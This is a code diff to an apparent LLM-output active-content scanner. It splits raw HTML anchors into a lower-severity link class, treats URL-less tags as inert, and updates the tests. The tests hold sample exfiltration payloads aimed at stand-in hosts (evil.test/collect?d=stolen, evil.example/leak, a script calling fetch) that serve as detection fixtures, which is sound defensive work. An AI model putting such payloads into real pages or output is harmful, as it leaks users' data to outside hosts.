||||
# Tags whose entire active affordance IS the URL they name. Carrying no URL
|
||||
# attribute at all, they name no target, so no renderer can fetch or follow them
|
||||
# — `<base />`'s argument (0.6.0) applied to the rest of the name branch. The
|
||||
# shapes this frees, observed inside vendor-harvest's fail_secure documents:
|
||||
# `</a>`, `<Frame>`/`</Frame>`, `<video />`, and `<img alt=...>` with no `src` —
|
||||
# end tags and MDX wrapper components dominate.
|
||||
# Everything else in the name set does something a URL cannot describe —
|
||||
# `<script>` executes its body, `<style>` restyles, `<form>` submits — and stays
|
||||
# active with no attributes at all.
|
||||
_URL_AFFORDANCE_TAGS = frozenset({
|
||||
"a", "area", "img", "video", "audio", "source", "track", "frame", "frameset",
|
||||
})
|
||||
# Click-required carriers: following one needs a human, exactly like a markdown
|
||||
# inline link. Everything else the renderer fetches or executes unattended.
|
||||
_LINK_TAGS = frozenset({"a", "area"})
|
||||
|
||||
# `_URL_ATTR_RE` above is a presence test and deliberately captures no value.
|
||||
# Reading the value needs the same literal alternation with the value attached, so
|
||||
|
|
@ -236,12 +287,42 @@ def _url_attr_is_external(attrs: str) -> bool:
|
|||
return not seen
|
||||
|
||||
|
||||
def active_tag_class(name: str, attrs: str) -> str | None:
|
||||
"""The active-content class a raw tag belongs to, or ``None`` if it is inert.
|
||||
|
||||
``"raw-html-link"`` is the click-required carrier class; ``"raw-html"`` is
|
||||
everything the renderer acts on unattended. The event-handler test runs
|
||||
FIRST, before the name test, so an ``<a onclick=...>`` is graded as the
|
||||
execute-class carrier it is rather than downgraded with the anchors.
|
||||
"""
|
||||
lowered = name.lower()
|
||||
if _EVENT_ATTR_RE.search(attrs):
|
||||
return "raw-html"
|
||||
# Presence, not a readable value: a URL attribute whose value this module
|
||||
# cannot resolve must keep the tag active, mirroring `_url_attr_is_external`'s
|
||||
# fail-secure gap. The corpora carry 0 of these today — empirical, not
|
||||
# structural, so the predicate must not depend on that holding.
|
||||
has_url_attr = bool(_URL_ATTR_RE.search(attrs))
|
||||
if lowered in _SCANNER_ACTIVE_TAGS:
|
||||
if lowered in _URL_AFFORDANCE_TAGS and not has_url_attr:
|
||||
return None
|
||||
return "raw-html-link" if lowered in _LINK_TAGS else "raw-html"
|
||||
# A name outside the active set is active only through its URL attribute, and
|
||||
# stays on the HIGH side: its rendering is unknown and `href` is not the only
|
||||
# URL attribute it may carry. Measured cost of that conservatism: one
|
||||
# document per wiki corpus.
|
||||
if has_url_attr and _url_attr_is_external(attrs):
|
||||
return "raw-html"
|
||||
return None
|
||||
|
||||
|
||||
def is_active_tag(name: str, attrs: str) -> bool:
|
||||
"""True if a tag is active for the SCANNER: executing element, event handler,
|
||||
or a URL attribute pointing at an external target."""
|
||||
if name.lower() in _SCANNER_ACTIVE_TAGS or _EVENT_ATTR_RE.search(attrs):
|
||||
return True
|
||||
return bool(_URL_ATTR_RE.search(attrs)) and _url_attr_is_external(attrs)
|
||||
"""True if a tag is active for the SCANNER, in either carrier class.
|
||||
|
||||
Kept as a separate symbol because ``docs/rawhtml-census.py`` patches it to
|
||||
measure a candidate predicate, and consumers import it by name.
|
||||
"""
|
||||
return active_tag_class(name, attrs) is not None
|
||||
|
||||
|
||||
def is_defangable_tag(name: str, attrs: str) -> bool:
|
||||
|
|
@ -416,18 +497,24 @@ def scan_active_content(
|
|||
_flag("autolink", autos)
|
||||
|
||||
# Raw HTML is active whatever its URL looks like (an event handler needs no
|
||||
# URL at all), so every tag is flagged as carrying — no ordinary form.
|
||||
html: list[tuple[str, bool]] = []
|
||||
# URL at all), so every tag is flagged as carrying — no ordinary form. The
|
||||
# two carrier classes are collected separately: a document holding both a
|
||||
# `<script>` and an `<a href>` must not lose the anchor behind the script,
|
||||
# nor grade the script down to the anchor's severity.
|
||||
html: dict[str, list[tuple[str, bool]]] = {"raw-html": [], "raw-html-link": []}
|
||||
|
||||
def _tag(m: re.Match[str]) -> str:
|
||||
if not is_active_tag(m.group("name"), m.group("attrs") or ""):
|
||||
cls = active_tag_class(m.group("name"), m.group("attrs") or "")
|
||||
if cls is None:
|
||||
return m.group(0)
|
||||
html.append((URL_IN_TEXT_RE.sub(lambda u: defang_url(u.group(0)), m.group(0)), False))
|
||||
html[cls].append(
|
||||
(URL_IN_TEXT_RE.sub(lambda u: defang_url(u.group(0)), m.group(0)), False))
|
||||
return " " * len(m.group(0))
|
||||
|
||||
masked = HTML_TAG_RE.sub(_tag, masked)
|
||||
if html:
|
||||
_flag("raw-html", html)
|
||||
for cls in ("raw-html", "raw-html-link"):
|
||||
if html[cls]:
|
||||
_flag(cls, html[cls])
|
||||
|
||||
# A `data:` URI carries its own payload; `is_ordinary_url` rejects the scheme
|
||||
# outright, so this stays HIGH through the same path as the rest.
|
||||
|
|
|
|||
|
|
@ -129,6 +129,11 @@ ACTIVE_CONTENT_SEVERITY = {
|
|||
"reference-link": Severity.MEDIUM,
|
||||
"autolink": Severity.MEDIUM,
|
||||
"raw-html": Severity.HIGH,
|
||||
# The raw-HTML carrier split (0.7.0). Until 0.6.1 every active tag was HIGH,
|
||||
# so the same URL was MEDIUM as `[t](url)` and HIGH as `<a href="url">` — an
|
||||
# asymmetry that came from syntax rather than affordance. Following an anchor
|
||||
# needs a human, so it grades with the other click-required carriers.
|
||||
"raw-html-link": Severity.MEDIUM,
|
||||
"data-uri": Severity.HIGH,
|
||||
}
|
||||
|
||||
|
|
|
|||
|
|
@ -485,6 +485,12 @@ def _build_cases() -> list[Case]:
|
|||
f"", owasp="LLM05"),
|
||||
_scan_case("active", "raw active HTML", "active:raw-html",
|
||||
"<script>steal()</script>", owasp="LLM05"),
|
||||
# The carrier split (0.7.0): a raw anchor is click-required, so it grades
|
||||
# with the markdown link rather than with the zero-click carriers. It is
|
||||
# its own class, and recall for it is demonstrated separately — a label a
|
||||
# consumer can pin needs a row here, or 128/128 would silently exclude it.
|
||||
_scan_case("active", "raw HTML anchor (click-required)", "active:raw-html-link",
|
||||
'<a href="https://evil.test/collect?d=stolen">t</a>', owasp="LLM05"),
|
||||
_scan_case("active", "standalone data: URI in prose", "active:data-uri",
|
||||
"payload data:text/html;base64,PHN2Zz4= end", owasp="LLM05"),
|
||||
_predicate_case("active", "ordinary document is NOT over-blocked", "warn",
|
||||
|
|
|
|||
|
|
@ -267,16 +267,111 @@ def test_default_source_is_output_and_override_respected():
|
|||
# Documented in docs/LIMITATIONS.md. Pinned so the concessions stay honest: a
|
||||
# closed over-block should fail here and force the doc to be updated.
|
||||
|
||||
# --- the carrier split and the no-URL narrowing (0.7.0) ----------------------
|
||||
# Two changes that had to ship together: measured alone they free 9 / 21 of
|
||||
# vendor-harvest's 62 fail_secure documents, together 43 of an achievable 44.
|
||||
# They co-occur — the no-URL narrowing removes a document's `</a>` and `<Frame>`
|
||||
# tags, and what is left is the `<a href=...>` the carrier split grades down, so
|
||||
# each change alone leaves the document blocked by the other's residue. Method
|
||||
# and numbers: `docs/rawhtml-census.py`.
|
||||
|
||||
def test_raw_anchor_is_the_link_class_at_medium():
|
||||
# Following an anchor needs a human, exactly like a markdown inline link —
|
||||
# which has been MEDIUM since 0.3.1. The same URL was HIGH here and LOW as
|
||||
# `[t](...)`, an asymmetry that came from syntax, not affordance.
|
||||
finding = [f for f in scan_active_content(
|
||||
'<a href="https://evil.example/go?d=account">t</a>').findings
|
||||
if f.label == "active:raw-html-link"]
|
||||
assert len(finding) == 1, "anchor not reported as the link class"
|
||||
assert finding[0].severity is Severity.MEDIUM, finding[0].severity
|
||||
|
||||
|
||||
def test_zero_click_carriers_keep_raw_html_at_high():
|
||||
# The split moves ONLY the click-required carriers. Anything a renderer
|
||||
# fetches or executes unattended stays where it was.
|
||||
for text in ('<img src="https://evil.example/leak?d=x">',
|
||||
'<iframe src="https://evil.example/x">',
|
||||
"<script>fetch('https://evil.example/x')</script>"):
|
||||
finding = [f for f in scan_active_content(text).findings
|
||||
if f.label == "active:raw-html"]
|
||||
assert finding and finding[0].severity is Severity.HIGH, text
|
||||
|
||||
|
||||
def test_event_handler_on_an_anchor_stays_high():
|
||||
# An `onclick=` anchor is execute-class, not click-required-carrier class.
|
||||
# The handler test runs BEFORE the name test, so the split cannot grade an
|
||||
# XSS carrier down to MEDIUM.
|
||||
labels = {f.label for f in scan_active_content(
|
||||
'<a href="https://x.example/p" onclick="fetch(1)">t</a>').findings}
|
||||
assert "active:raw-html" in labels
|
||||
assert "active:raw-html-link" not in labels
|
||||
|
||||
|
||||
def test_mixed_document_reports_both_classes_separately():
|
||||
# The class collapses to one finding, so a document carrying both must not
|
||||
# lose the anchor behind the script — nor grade the script down to the
|
||||
# anchor's severity.
|
||||
report = scan_active_content(
|
||||
'<script>x()</script> and <a href="https://x.example/p?d=1">t</a>')
|
||||
by_label = {f.label: f for f in report.findings}
|
||||
assert by_label["active:raw-html"].severity is Severity.HIGH
|
||||
assert by_label["active:raw-html-link"].severity is Severity.MEDIUM
|
||||
|
||||
|
||||
def test_link_class_has_no_ordinary_form():
|
||||
# Raw HTML grades on carrier only, never on URL shape — measured: applying
|
||||
# `is_ordinary_url` to raw tags frees 1 / 1 / 0 documents, because real
|
||||
# vendor-doc image URLs are not ordinary. A third tier here would be a
|
||||
# severity nobody decided on.
|
||||
finding = [f for f in scan_active_content(
|
||||
'<a href="https://learn.microsoft.com/en-us/azure/overview">t</a>').findings
|
||||
if f.label == "active:raw-html-link"]
|
||||
assert finding and finding[0].severity is Severity.MEDIUM, finding
|
||||
|
||||
|
||||
@pytest.mark.parametrize("cid,text", [
|
||||
# Fires on the *name* branch: names are lower-cased and `frame` is in the
|
||||
# active set (legacy HTML framesets), while `Frame` is a common MDX component.
|
||||
# `</a>` — 146 occurrences inside vendor-harvest's fail_secure documents.
|
||||
("end-tag-names-no-target", "</a>"),
|
||||
# `<Frame>` / `</Frame>` — a common MDX wrapper component, 94 occurrences.
|
||||
("mdx-component-named-like-a-tag", "<Frame>"),
|
||||
("mdx-component-end-tag", "</Frame>"),
|
||||
# `<video />`, 19 occurrences: a self-closing media tag naming no source.
|
||||
("self-closing-media", "<video />"),
|
||||
("anchor-without-href", "<a />"),
|
||||
# An `<img>` carrying alt text but no `src` fetches nothing.
|
||||
("img-without-src", '<img alt="Diagram of the agent loop">'),
|
||||
])
|
||||
def test_raw_html_overblocks_are_still_high(cid, text):
|
||||
finding = [f for f in scan_active_content(text).findings
|
||||
if f.label == "active:raw-html"]
|
||||
assert len(finding) == 1, f"{cid}: raw-html not reported"
|
||||
assert finding[0].severity is Severity.HIGH, f"{cid}: {finding[0].severity}"
|
||||
def test_url_affordance_tag_without_a_url_is_not_active(cid, text):
|
||||
# A tag whose whole affordance IS the URL it names, carrying no URL
|
||||
# attribute at all, has no affordance in any renderer — the argument 0.6.0
|
||||
# already accepted for `<base />`, applied to the rest of the name branch.
|
||||
assert not [f for f in scan_active_content(text).findings
|
||||
if f.label.startswith("active:raw-html")], cid
|
||||
|
||||
|
||||
@pytest.mark.parametrize("cid,text", [
|
||||
("relative-src-still-active", '<img src="/local/diagram.png">'),
|
||||
("relative-href-still-active", '<a href="/en/quickstart">t</a>'),
|
||||
# The narrowing tests for the ATTRIBUTE's presence, not for a readable value:
|
||||
# a value the parser cannot resolve must over-block, never under-block. The
|
||||
# corpora carry 0 of these today, which is empirical, not structural.
|
||||
("unreadable-value-fails-secure", "<img src= >"),
|
||||
("event-handler-without-url", '<a onclick="fetch(1)">t</a>'),
|
||||
])
|
||||
def test_url_affordance_narrowing_only_frees_the_attribute_less(cid, text):
|
||||
assert [f for f in scan_active_content(text).findings
|
||||
if f.label.startswith("active:raw-html")], cid
|
||||
|
||||
|
||||
def test_unknown_name_with_an_external_url_stays_high():
|
||||
# The url-attribute branch is deliberately NOT in the link class: a tag
|
||||
# outside the known name set has unknown rendering, and `href` is not the
|
||||
# only URL attribute it may carry. Measured cost of the conservative line:
|
||||
# one document per wiki corpus.
|
||||
finding = [f for f in scan_active_content(
|
||||
'<Card title="Docs" href="https://evil.example/leak?d=x">').findings
|
||||
if f.label == "active:raw-html"]
|
||||
assert len(finding) == 1 and finding[0].severity is Severity.HIGH, finding
|
||||
|
||||
|
||||
# --- the two over-blocks CLOSED in 0.6.0 (the `A + base-url` narrowing) -------
|
||||
|
|
@ -324,18 +419,19 @@ def test_external_url_attr_is_still_active(cid, text):
|
|||
assert finding[0].severity is Severity.HIGH, f"{cid}: {finding[0].severity}"
|
||||
|
||||
|
||||
def test_raw_html_counts_end_tags():
|
||||
# `</a>` is active by name on its own, so a corpus census counting only opening
|
||||
# tags understates this detector's `count`. The class still collapses to ONE
|
||||
# finding — the count is what moves.
|
||||
solo = [f for f in scan_active_content("</a>").findings
|
||||
if f.label == "active:raw-html"]
|
||||
assert len(solo) == 1 and solo[0].count == 1
|
||||
def test_raw_html_no_longer_counts_end_tags():
|
||||
# Through 0.6.1 `</a>` was active by name on its own, so `count` ran roughly
|
||||
# 1.6x the opening-tag total and a start/end pair counted 2. The no-URL
|
||||
# narrowing makes an end tag inert — it names no target — so `count` is now
|
||||
# the opening-tag total. This is a PUBLISHED field moving: a consumer reading
|
||||
# `count` sees it drop for every document carrying `</a>`.
|
||||
assert not [f for f in scan_active_content("</a>").findings
|
||||
if f.label.startswith("active:raw-html")]
|
||||
|
||||
pair = [f for f in scan_active_content('<a href="https://x.example/p">t</a>').findings
|
||||
if f.label == "active:raw-html"]
|
||||
if f.label == "active:raw-html-link"]
|
||||
assert len(pair) == 1, "a start/end pair must not split into two findings"
|
||||
assert pair[0].count == 2, f"end tag not counted: {pair[0].count}"
|
||||
assert pair[0].count == 1, f"end tag still counted: {pair[0].count}"
|
||||
|
||||
|
||||
# --- self-safety (OWASP LLM10): the long-attribute arm -----------------------
|
||||
|
|
|
|||
|
|
@ -60,6 +60,7 @@ def test_active_content_severity_frozen():
|
|||
"reference-link": Severity.MEDIUM,
|
||||
"autolink": Severity.MEDIUM,
|
||||
"raw-html": Severity.HIGH,
|
||||
"raw-html-link": Severity.MEDIUM,
|
||||
"data-uri": Severity.HIGH,
|
||||
}
|
||||
|
||||
|
|
|
|||
|
|
@ -136,6 +136,11 @@ def test_census_private_active_content_names_still_exist():
|
|||
assert ac._url_attr_is_external(' href="//evil.example"') is True
|
||||
assert ac._url_attr_is_external(' href="/relative"') is False
|
||||
assert callable(ac.is_active_tag)
|
||||
assert callable(ac.active_tag_class)
|
||||
# 0.7.0's two name sets, both reached by name from the census's `_variant`.
|
||||
assert "a" in ac._LINK_TAGS and "img" not in ac._LINK_TAGS
|
||||
assert {"a", "frame", "img"} <= ac._URL_AFFORDANCE_TAGS
|
||||
assert "script" not in ac._URL_AFFORDANCE_TAGS, "an execute-class tag needs no URL"
|
||||
|
||||
|
||||
def test_census_masking_pipeline_matches_the_scanner_symbols():
|
||||
|
|
@ -162,21 +167,45 @@ def test_census_candidate_table_keeps_its_three_fixed_rows():
|
|||
assert names[0] == "pre-0.6.0 (no narrowing)", "first row is the baseline the rest subtract from"
|
||||
assert sum(fn is None for _, fn in census.CANDIDATES) == 1, "exactly one unpatched PRODUCTION row"
|
||||
assert fns["PRODUCTION (as shipped)"] is None
|
||||
assert fns["NONE (ceiling)"]("iframe", ' src="https://evil.example"') is False
|
||||
assert fns["NONE (ceiling)"]("iframe", ' src="https://evil.example"') is None
|
||||
|
||||
|
||||
def test_census_candidates_return_a_class_not_a_boolean():
|
||||
# A boolean patch point cannot express a REGRADE, only a narrowing. If a
|
||||
# candidate ever returns True/False again, every carrier row would compare
|
||||
# equal to PRODUCTION on the non-WARN metric and the script would report
|
||||
# "the split buys nothing" — the exact conclusion it exists to disprove.
|
||||
candidate = dict(census.CANDIDATES)["C1 + D (0.7.0)"]
|
||||
assert candidate("a", ' href="https://evil.example/x?d=1"') == "raw-html-link"
|
||||
assert candidate("script", "") == "raw-html"
|
||||
assert candidate("a", "") is None
|
||||
for value in (True, False):
|
||||
assert candidate("a", ' href="https://evil.example/x"') is not value
|
||||
|
||||
|
||||
def test_census_patch_point_actually_moves_the_gate(monkeypatch):
|
||||
# The census measures candidates by replacing `active_content.is_active_tag`
|
||||
# The census measures candidates by replacing `active_content.active_tag_class`
|
||||
# in-process. If the scanner ever resolves that predicate any other way — a
|
||||
# local alias, an inlined body — every candidate row would silently equal
|
||||
# PRODUCTION and the script would report "no narrowing helps" as a finding.
|
||||
doc = 'Read more <iframe src="https://evil.example/x"></iframe>'
|
||||
assert screen_output(doc, PRESET_USER_UPLOAD).disposition is not Disposition.WARN
|
||||
|
||||
monkeypatch.setattr(ac, "is_active_tag", lambda name, attrs: False)
|
||||
monkeypatch.setattr(ac, "active_tag_class", lambda name, attrs: None)
|
||||
assert screen_output(doc, PRESET_USER_UPLOAD).disposition is Disposition.WARN
|
||||
|
||||
|
||||
def test_census_regrade_patch_point_moves_the_severity(monkeypatch):
|
||||
# The other half: patching the class must move the DISPOSITION TIER, not just
|
||||
# presence. A carrier candidate that regrades without changing the tier would
|
||||
# be unmeasurable, which is how the non-WARN-only metric hid this class.
|
||||
doc = '<img src="https://evil.example/leak?d=x">'
|
||||
assert screen_output(doc, PRESET_USER_UPLOAD).disposition is Disposition.FAIL_SECURE
|
||||
|
||||
monkeypatch.setattr(ac, "active_tag_class", lambda name, attrs: "raw-html-link")
|
||||
assert screen_output(doc, PRESET_USER_UPLOAD).disposition is Disposition.QUARANTINE_REVIEW
|
||||
|
||||
|
||||
# Every branch of the shipped predicate, plus the two shapes where a hand-rolled
|
||||
# attribute reader diverges from it: a URL attribute name reached through a
|
||||
# prefix (`data-src`), and a multi-candidate `srcset` whose external target is
|
||||
|
|
@ -194,16 +223,26 @@ _PREDICATE_CASES = [
|
|||
("div", ' srcset="a.png 1x, https://evil.example/x.png 2x"'),
|
||||
("div", ' cite="https://evil.example"'),
|
||||
("p", ""),
|
||||
# 0.7.0's two branches. Without these the shipped-candidate check would pass
|
||||
# while the census still measured the 0.6.1 predicate.
|
||||
("a", ' href="https://evil.example/x?d=1"'), # carrier split -> link class
|
||||
("area", ' href="//evil.example"'),
|
||||
("a", ' onclick="steal()"'), # handler beats the split
|
||||
("a", ""), # no-URL narrowing -> inert
|
||||
("frame", ""),
|
||||
("img", ' alt="a diagram"'),
|
||||
("img", ' src="/local/diagram.png"'), # relative URL is still active
|
||||
("script", ' type="module"'), # execute-class needs no URL
|
||||
]
|
||||
|
||||
|
||||
@pytest.mark.parametrize("name,attrs", _PREDICATE_CASES, ids=[f"{n}{a}" for n, a in _PREDICATE_CASES])
|
||||
def test_census_production_row_equals_its_a_plus_base_candidate(name, attrs):
|
||||
# The census's own docstring: "`A + base-url` is what 0.6.0 shipped, so these
|
||||
# two rows must agree — a mismatch means the code and this script have drifted
|
||||
# apart and every number below is suspect." That claim was never asserted.
|
||||
candidate = dict(census.CANDIDATES)["A + base-url (both)"]
|
||||
assert candidate(name, attrs) == ac.is_active_tag(name, attrs)
|
||||
def test_census_production_row_equals_its_shipped_candidate(name, attrs):
|
||||
# The census's own docstring: "`C1 + D` is what 0.7.0 ships, so these two rows
|
||||
# must agree — a mismatch means the code and this script have drifted apart
|
||||
# and every number below is suspect." That claim was never asserted.
|
||||
candidate = dict(census.CANDIDATES)["C1 + D (0.7.0)"]
|
||||
assert candidate(name, attrs) == ac.active_tag_class(name, attrs)
|
||||
|
||||
|
||||
# --- both scripts: the argument-less contract --------------------------------
|
||||
|
|
|
|||
|
|
@ -102,6 +102,13 @@ def test_raw_active_html_is_escaped():
|
|||
@pytest.mark.parametrize("cid,text", [
|
||||
("relative-href-on-inactive-name", '<Card href="/en/agent-sdk/quickstart">'),
|
||||
("attributeless-base", "<base />"),
|
||||
# 0.7.0's no-URL narrowing. The scanner now lets these pass — they name no
|
||||
# target — but the mutator still escapes them, because a human auditing
|
||||
# defanged output should see the markup that was there.
|
||||
("end-tag", "</a>"),
|
||||
("mdx-wrapper-component", "<Frame>"),
|
||||
("self-closing-media", "<video />"),
|
||||
("img-without-src", '<img alt="a diagram">'),
|
||||
])
|
||||
def test_mutator_still_defangs_what_the_scanner_now_lets_pass(cid, text):
|
||||
# The deliberate asymmetry, extended to raw HTML in 0.6.0: the SCANNER narrowed
|
||||
|
|
|
|||
|
|
@ -183,11 +183,38 @@ def test_inert_vendor_doc_html_is_not_active(text):
|
|||
|
||||
|
||||
@pytest.mark.parametrize("text", [
|
||||
'<a href="https://x.example/p">here</a>', '<img src="https://x.example/a.png">',
|
||||
'<div onclick="x()">clickme</div>',
|
||||
'<img src="https://x.example/a.png">', '<div onclick="x()">clickme</div>',
|
||||
'<iframe src="https://x.example/x"></iframe>',
|
||||
])
|
||||
def test_active_raw_html_still_fails_secure_on_upload(text):
|
||||
# The other half of the same correction: `a` and `img` are active by name, so
|
||||
# hand-written links and images in raw HTML *are* caught. The overcount is in
|
||||
# the formatting tags above, not in a weakened rule.
|
||||
def test_zero_click_raw_html_still_fails_secure_on_upload(text):
|
||||
# The other half of the same correction: `img` is active by name, so a
|
||||
# hand-written image in raw HTML *is* caught. The overcount is in the
|
||||
# formatting tags above, not in a weakened rule.
|
||||
assert screen_output(text, PRESET_USER_UPLOAD).disposition is Disposition.FAIL_SECURE
|
||||
|
||||
|
||||
def test_split_tightens_the_trusted_tier_when_both_carriers_are_present():
|
||||
# The cost side of the carrier split, pinned because it runs OPPOSITE to the
|
||||
# change's purpose. Splitting one class into two means a document carrying
|
||||
# both an `<img src>` and an `<a href>` now emits TWO findings at MEDIUM+
|
||||
# where it emitted one, which trips the compound overlay: WARN through 0.6.1,
|
||||
# QUARANTINE_REVIEW from 0.7.0. On the trusted preset nothing was hard-failed
|
||||
# to begin with, so this is the only direction the split can move it.
|
||||
both = ('<img src="https://x.example/a.png?d=1"> '
|
||||
'and <a href="https://x.example/p?d=2">t</a>')
|
||||
assert screen_output(both, PRESET_TRUSTED_SOURCE).disposition is Disposition.QUARANTINE_REVIEW
|
||||
|
||||
# The same document with only the zero-click carrier still WARNs on trusted:
|
||||
# the escalation comes from the second finding, not from a changed severity.
|
||||
only_img = '<img src="https://x.example/a.png?d=1">'
|
||||
assert screen_output(only_img, PRESET_TRUSTED_SOURCE).disposition is Disposition.WARN
|
||||
|
||||
|
||||
def test_raw_anchor_is_held_for_review_not_hard_failed():
|
||||
# 0.7.0's carrier split. A raw anchor was FAIL_SECURE through 0.6.1 while the
|
||||
# identical markdown link was WARN — an asymmetry of syntax, not affordance.
|
||||
# It is now held for a human like every other click-required carrier. Pinned
|
||||
# HERE, at the composed gate, because what a consumer feels is the
|
||||
# disposition, not the label: this must never reach WARN either.
|
||||
result = screen_output('<a href="https://x.example/p">here</a>', PRESET_USER_UPLOAD)
|
||||
assert result.disposition is Disposition.QUARANTINE_REVIEW, result
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue